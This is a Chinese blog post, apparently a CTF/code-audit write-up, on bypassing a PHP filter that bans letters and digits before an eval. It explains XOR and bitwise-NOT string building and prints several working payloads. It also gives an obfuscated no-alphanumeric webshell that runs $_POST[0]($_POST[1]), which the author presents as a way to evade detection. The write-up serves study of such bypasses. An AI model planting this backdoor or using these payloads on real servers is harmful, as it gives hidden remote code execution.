记一次拿webshell踩过的坑(如何用PHP编写一个不包含数字和字母的后门)
0x01 前言
最近在做代码审计的工作中遇到了一个难题,题目描述如下:
<?php include 'flag.php'; if(isset($_GET['code'])){ $code = $_GET['code']; if(strlen($code)>40){ die("Long."); } if(preg_match("/[A-Za-z0-9]+/",$code)){ die("NO."); } @eval($code); }else{ highlight_file(__FILE__); } //$hint = "php function getFlag() to get flag"; ?>
这一串代码描述是这样子,我们要绕过A-Za-z0-9这些常规数字、字母字符串的传参,将非字母、数字的字符经过各种变换,最后能构造出 a-z 中任意一个字符,并且字符串长度小于40。然后再利用 PHP允许动态函数执行的特点,拼接处一个函数名,这里我们是 "getFlag",然后动态执行之即可。
那么,我们需要考虑的问题是如何通过各种变换,使得我们能够去成功读取到getFlag函数,然后拿到webshell。
0x02 前置知识铺垫
在理解这篇文章之前,我们首先需要大家了解的是PHP中异或(^)的概念。
我们先看一下下面这段代码:
<?php echo "A"^"?"; ?>
运行结果如下:
我们可以看到,输出的结果是字符"~"。之所以会得到这样的结果,是因为代码中对字符"A"和字符"?"进行了异或操作。在PHP中,两个变量进行异或时,先会将字符串转换成ASCII值,再将ASCII值转换成二进制再进行异或,异或完,又将结果从二进制转换成了ASCII值,再将ASCII值转换成字符串。异或操作有时也被用来交换两个变量的值。
比如像上面这个例子
A的ASCII值是65,对应的二进制值是01000001
?的ASCII值是63,对应的二进制值是00111111
异或的二进制的值是10000000,对应的ASCII值是126,对应的字符串的值就是~了
我们都知道,PHP是弱类型的语言,也就是说在PHP中我们可以不预先声明变量的类型,而直接声明一个变量并进行初始化或赋值操作。正是由于PHP弱类型的这个特点,我们对PHP的变类型进行隐式的转换,并利用这个特点进行一些非常规的操作。如将整型转换成字符串型,将布尔型当作整型,或者将字符串当作函数来处理,下面我们来看一段代码:
<?php function B(){ echo "Hello Angel_Kitty"; } $_++; $__= "?" ^ "}"; $__(); ?>
代码执行结果如下:
我们一起来分析一下上面这段代码:
- `$_++; `这行代码的意思是对变量名为`"_"`的变量进行自增操作,在PHP中未定义的变量默认值为null,null==false==0,我们可以在不使用任何数字的情况下,通过对未定义变量的自增操作来得到一个数字。
- `$__="?" ^ "}"; `对字符"?"和"}"进行异或运算,得到结果B赋给变量名为"__"(两个下划线)的变量
- `$ __ (); `通过上面的赋值操作,变量`\$__`的值为B,所以这行可以看作是B(),在PHP中,这行代码表示调用函数B,所以执行结果为Hello Angel_Kitty。在PHP中,我们可以将字符串当作函数来处理。
看到这里,相信大家如果再看到类似的PHP后门应该不会那么迷惑了,你可以通过一句句的分析后门代码来理解后门想实现的功能。
我们希望使用这种后门创建一些可以绕过检测的并且对我们有用的字符串,如_POST", "system", "call_user_func_array",或者是任何我们需要的东西。
下面是个非常简单的非数字字母的PHP后门:
<?php @$_++; // $_ = 1 $__=("#"^"|"); // $__ = _ $__.=("."^"~"); // _P $__.=("/"^"`"); // _PO $__.=("|"^"/"); // _POS $__.=("{"^"/"); // _POST ${$__}[!$_](${$__}[$_]); // $_POST[0]($_POST[1]); ?>
在这里我说明下,.=是字符串的连接,具体参看php语法
我们甚至可以将上面的代码合并为一行,从而使程序的可读性更差,代码如下:
$__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/");
0x03 问题分析
对于文章开始遇到的那道难题,最开始我们的想法是通过构造异或来去绕过那串字符,但由于最后构造的字串远远超过了长度len=40,然后我们最后放弃了~~
我们该如何构造这个字串使得长度小于40呢?
我们最终是要读取到那个getFlag函数,我们需要构造一个_GET来去读取这个函数,我们最终构造了如下字符串:
?code=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);&_=getFlag
可能很多小伙伴看完前置知识后仍然无法理解这段字符串是如何构造的吧,我们就对这段字符串进行段分析
①构造_GET读取
首先我们得知道_GET由什么异或而来的,经过我的尝试与分析,我得出了下面的结论:
<?php echo "`{{{"^"?<>/";//_GET ?>
这段代码一大坨是啥意思呢?因为40个字符长度的限制,导致以前逐个字符异或拼接的webshell不能使用。
这里可以使用php中可以执行命令的反引号` `
和Linux下面的通配符?
-
?
代表匹配一个字符 - ` 表示执行命令
- " 对特殊字符串进行解析
由于?只能匹配一个字符,这种写法的意思是循环调用,分别匹配。我们将其进行分解来看
<?php echo "{"^"<"; ?>
输出结果为:
<?php echo "{"^">"; ?>
输出结果为:
<?php echo "{"^"/"; ?>
输出结果为:
所以_GET就是这么被构造出来的
②获取_GET参数
如何获取呢?咱们可以构造出如下字串:
<?php echo ${$_}[_](${$_}[__]);//$_GET[_]($_GET[__]) ?>
根据前面构造的来看,$_已经变成了_GET。
顺理成章的来讲,$_ = _GET这个字符串。
我们构建$_GET[ __ ]是为了要获取参数值
③传入参数
此时我们只需要去调用getFlag函数获取webshell就好了,构造如下:
<?php echo $_=getFlag;//getFlag ?>
所以把参数全部连接起来,就可以了~~
?code=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);&_=getFlag
结果如下:
我们就成功读取到了flag~~
补充
我似乎看到了一些大佬对这题的骚操作,我也补充一下吧~~
有个payloads是这样子:
?code=$_=~%98%9A%8B%B9%93%9E%98;$_();
这个是把getFlag取反然后URL编码
然后我们看看下一个payloads:
?code=%24%7B%7E%22%A0%B8%BA%AB%22%7D%5B%AA%5D%28%29%3B&%aa=getFlag
~ 在 {} 中执行了取反操作,所以 ${~"\xa0\xb8\xba\xab"}
取反相当于 $_GET,拼接出了
$_GET['+']();
,传入 +=getFlag() 从而执行了函数
再看看下面这种骚操作:
code=$啊=(%27%5D%40%5C%60%40%40%5D%27^%27%3A%25%28%26%2C%21%3A%27);$啊();
$啊=getFlag;$啊();
,这里就不需要用 {} 了,因为取反的值直接被当作字符串赋值给了 $ 啊。
下面这个是梅子酒师傅在评论区提供的一个payloads,我也补上:
0x04 扩展阅读
我给大家推荐几篇写的比较好的,方便大家能更进一步的理解这个东西。
- https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html
- http://php.net/manual/zh/language.operators.increment.php
您可以考虑给博主来个小小的打赏以资鼓励,您的肯定将是我最大的动力。thx.
微信打赏
支付宝打赏
作 者: Angel_Kitty
出 处:http://www.cnblogs.com/ECJTUACM-873284962/
关于作者:潜心机器学习以及信息安全的综合研究。如有问题或建议,请多多赐教!
版权声明:本文版权归作者和博客园共有,欢迎转载,但未经作者同意必须保留此段声明,且在文章页面明显位置给出原文链接。
特此声明:所有评论和私信都会在第一时间回复。也欢迎园子的大大们指正错误,共同进步。或者直接私信我
声援博主:如果您觉得文章对您有帮助,可以点击右下角【推荐】推荐一下该博文。您的鼓励是作者坚持原创和持续写作的最大动力!

低调大师中文资讯倾力打造互联网数据资讯、行业资源、电子商务、移动互联网、网络营销平台。
持续更新报道IT业界、互联网、市场资讯、驱动更新,是最及时权威的产业资讯及硬件资讯报道平台。
转载内容版权归作者及来源网站所有,本站原创内容转载请注明来源。
- 上一篇
Python复杂网络结构可视化——matplotlib+networkx
什么是networkx? networkx在02年5月产生,是用python语言编写的软件包,便于用户对复杂网络进行创建、操作和学习。利用networkx可以以标准化和非标准化的数据格式存储网络、生成多种随机网络和经典网络、分析网络结构、建立网络模型、设计新的网络算法、进行网络绘制等。 ——百度百科 我们可以用networkx做什么? https://networkx.github.io/documentation/stable/auto_examples/index.html 1.画图 2.有向图,无向图,网络图…… 3.总之各种图 看到这你是不是心动了呢?今天的教程就是要教会你画出封面上的三层感知机模型图! Let's get started! 首先导入networkx和matplotlib模块 import networkx as nx im
- 下一篇
人生苦短,为什么我要用Python?
随着机器学习的兴起,Python 逐步成为了「最受欢迎」的语言。它简单易用、逻辑明确并拥有海量的扩展包,因此其不仅成为机器学习与数据科学的首选语言,同时在网页、数据爬取可科学研究等方面成为不二选择。此外,很多入门级的机器学习开发者都是跟随大流选择 Python,但到底为什么要选择 Python 就是本文的核心内容。 本教程的目的是让你相信两件事:首先,Python 是一种非常棒的编程语言;其次,如果你是一名科学家,Python 很可能值得你去学习。本教程并非想要说明 Python 是一种万能的语言;相反,作者明确讨论了在几种情况下,Python 并不是一种明智的选择。本教程的目的只是提供对 Python 一些核心特征的评论,并阐述作为一种通用的科学计算语言,它比其他常用的替代方案(最著名的是 R 和 Matlab)更有优势。 本教程的其余部分假定你已经有了一些编程经验,如果你非常精通其他以数据为中心的语言(如 R 或 Matlab),理解本教程就会非常容易。本教程不能算作一份关于 Python 的介绍,且文章重点在于为什么应该学习 Python 而不是怎样写 Python 代码(尽管其...
相关文章
文章评论
共有0条评论来说两句吧...
文章二维码
点击排行
推荐阅读
最新文章
- SpringBoot2更换Tomcat为Jetty,小型站点的福音
- CentOS7编译安装Cmake3.16.3,解决mysql等软件编译问题
- Docker快速安装Oracle11G,搭建oracle11g学习环境
- 设置Eclipse缩进为4个空格,增强代码规范
- SpringBoot2全家桶,快速入门学习开发网站教程
- CentOS关闭SELinux安全模块
- CentOS7,8上快速安装Gitea,搭建Git服务器
- CentOS7,CentOS8安装Elasticsearch6.8.6
- Windows10,CentOS7,CentOS8安装MongoDB4.0.16
- CentOS6,CentOS7官方镜像安装Oracle11G